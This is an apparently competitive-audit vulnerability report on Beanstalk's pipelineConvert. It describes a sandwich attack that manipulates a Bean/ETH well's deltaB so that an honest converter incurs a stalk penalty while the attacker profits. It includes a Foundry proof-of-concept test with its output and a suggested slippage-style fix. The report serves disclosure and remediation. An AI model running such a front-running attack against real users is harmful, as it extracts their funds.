Summary
An attacker can force a penalty to be applied to a user converting by employing a sandwich attack.
Vulnerability Details
Suppose P > 1, and the deltaB in the BeanEth well is positive. Alice (an honest user) intends to convert bean to LP (in the direction of pegging), so no penalty is expected for Alice.
Bob (the attacker) performs a sandwich attack by first swapping WETH to bean in the well, causing the deltaB in the well to become zero (or even negative). When Alice's convert transaction is executed, she increases the bean reserve in the well, making her transaction appear to be in the direction of unpegging (since the deltaB was set to zero by Bob). As a result, a penalty is applied to Alice.
After Alice's transaction, Bob swaps bean back to WETH to restore the deltaB to its original state.
By executing this attack, Bob forces a penalty on Alice and gains financially by selling beans before Alice's transaction and buying beans after Alice's transaction.
function executePipelineConvert(
address inputToken,
address outputToken,
uint256 fromAmount,
uint256 fromBdv,
uint256 initialGrownStalk,
AdvancedFarmCall[] calldata advancedFarmCalls
) external returns (uint256 toAmount, uint256 newGrownStalk, uint256 newBdv) {
PipelineConvertData memory pipeData = LibPipelineConvert.populatePipelineConvertData(
inputToken,
outputToken
);
pipeData.overallConvertCapacity = LibConvert.abs(LibDeltaB.overallCappedDeltaB());
IERC20(inputToken).transfer(C.PIPELINE, fromAmount);
executeAdvancedFarmCalls(advancedFarmCalls);
toAmount = transferTokensFromPipeline(outputToken);
pipeData.stalkPenaltyBdv = prepareStalkPenaltyCalculation(
inputToken,
outputToken,
pipeData.deltaB,
pipeData.overallConvertCapacity,
fromBdv,
pipeData.initialLpSupply
);
newGrownStalk = (initialGrownStalk * (fromBdv - pipeData.stalkPenaltyBdv)) / fromBdv;
newBdv = LibTokenSilo.beanDenominatedValue(outputToken, toAmount);
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Convert/LibPipelineConvert.sol#L62
Test Case
The foundry test demonstrates the sandwich attack scenario described. Initially, Alice deposits 1000e6 beans, and the state of the well is such that no penalty would be applied if Alice converts her beans to LP. However, before Alice performs the conversion, Bob manipulates the well’s state so that the deltaB becomes zero.
During Alice’s conversion, console.log
in the executePipelineConvert
function reveals that a penalty of 488088482
is applied to her, confirming the success of Bob's attack.
function executePipelineConvert(
address inputToken,
address outputToken,
uint256 fromAmount,
uint256 fromBdv,
uint256 initialGrownStalk,
AdvancedFarmCall[] calldata advancedFarmCalls
) external returns (uint256 toAmount, uint256 newGrownStalk, uint256 newBdv) {
pipeData.stalkPenaltyBdv = prepareStalkPenaltyCalculation(
inputToken,
outputToken,
pipeData.deltaB,
pipeData.overallConvertCapacity,
fromBdv,
pipeData.initialLpSupply
);
console.log("stalkPenaltyBdv: ", pipeData.stalkPenaltyBdv);
}
https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/libraries/Convert/LibPipelineConvert.sol#L62
function testConvertBeanToLPSandwich() public {
int96 stem;
uint256 amount = 1000e6;
setDeltaBforWell(int256(amount), beanEthWell, C.WETH);
depositBeanAndPassGermination(amount, users[1]);
setDeltaBforWell(0, beanEthWell, C.WETH);
int96[] memory stems = new int96[](1);
stems[0] = stem;
AdvancedFarmCall[] memory beanToLPFarmCalls = createBeanToLPFarmCalls(
amount,
new AdvancedPipeCall[](0)
);
uint256[] memory amounts = new uint256[](1);
amounts[0] = amount;
vm.resumeGasMetering();
vm.prank(users[1]);
convert.pipelineConvert(
C.BEAN,
stems,
amounts,
beanEthWell,
beanToLPFarmCalls
);
setDeltaBforWell(0, beanEthWell, C.WETH);
}
function createBeanToLPFarmCalls(
uint256 amountOfBean,
AdvancedPipeCall[] memory extraPipeCalls
) internal view returns (AdvancedFarmCall[] memory output) {
bytes memory approveEncoded = abi.encodeWithSelector(
IERC20.approve.selector,
beanEthWell,
MAX_UINT256
);
uint256[] memory tokenAmountsIn = new uint256[](2);
tokenAmountsIn[0] = amountOfBean;
tokenAmountsIn[1] = 0;
bytes memory addLiquidityEncoded = abi.encodeWithSelector(
IWell.addLiquidity.selector,
tokenAmountsIn,
0,
C.PIPELINE,
type(uint256).max
);
AdvancedPipeCall[] memory advancedPipeCalls = new AdvancedPipeCall[](100);
uint256 callCounter = 0;
advancedPipeCalls[callCounter++] = AdvancedPipeCall(
C.BEAN,
approveEncoded,
abi.encode(0)
);
advancedPipeCalls[callCounter++] = AdvancedPipeCall(
beanEthWell,
addLiquidityEncoded,
abi.encode(0)
);
for (uint j; j < extraPipeCalls.length; j++) {
advancedPipeCalls[callCounter++] = extraPipeCalls[j];
}
assembly {
mstore(advancedPipeCalls, callCounter)
}
AdvancedFarmCall[] memory advancedFarmCalls = new AdvancedFarmCall[](1);
bytes memory advancedPipeCalldata = abi.encodeWithSelector(
depot.advancedPipe.selector,
advancedPipeCalls,
0
);
advancedFarmCalls[0] = AdvancedFarmCall(advancedPipeCalldata, new bytes(0));
return advancedFarmCalls;
}
The output is:
stalkPenaltyBdv: 488088482
Impact
Forcing users to pay penalty by sandwiching their convert transaction.
Tools Used
Recommendations
It is recommended that users be allowed to set the maximum penalty they are willing to tolerate when converting.
function pipelineConvert(
address inputToken,
int96[] calldata stems,
uint256[] calldata amounts,
address outputToken,
AdvancedFarmCall[] calldata advancedFarmCalls,
uint256 maximumTolerablePenalty
)
external
payable
fundsSafu
nonReentrant
returns (int96 toStem, uint256 fromAmount, uint256 toAmount, uint256 fromBdv, uint256 toBdv)
{
uint256 penalty;
(toAmount, grownStalk, toBdv, penalty) = LibPipelineConvert.executePipelineConvert(
inputToken,
outputToken,
fromAmount,
fromBdv,
grownStalk,
advancedFarmCalls
);
require(penalty <= maximumTolerablePenalty, "penalty is more that tolerable amount");
}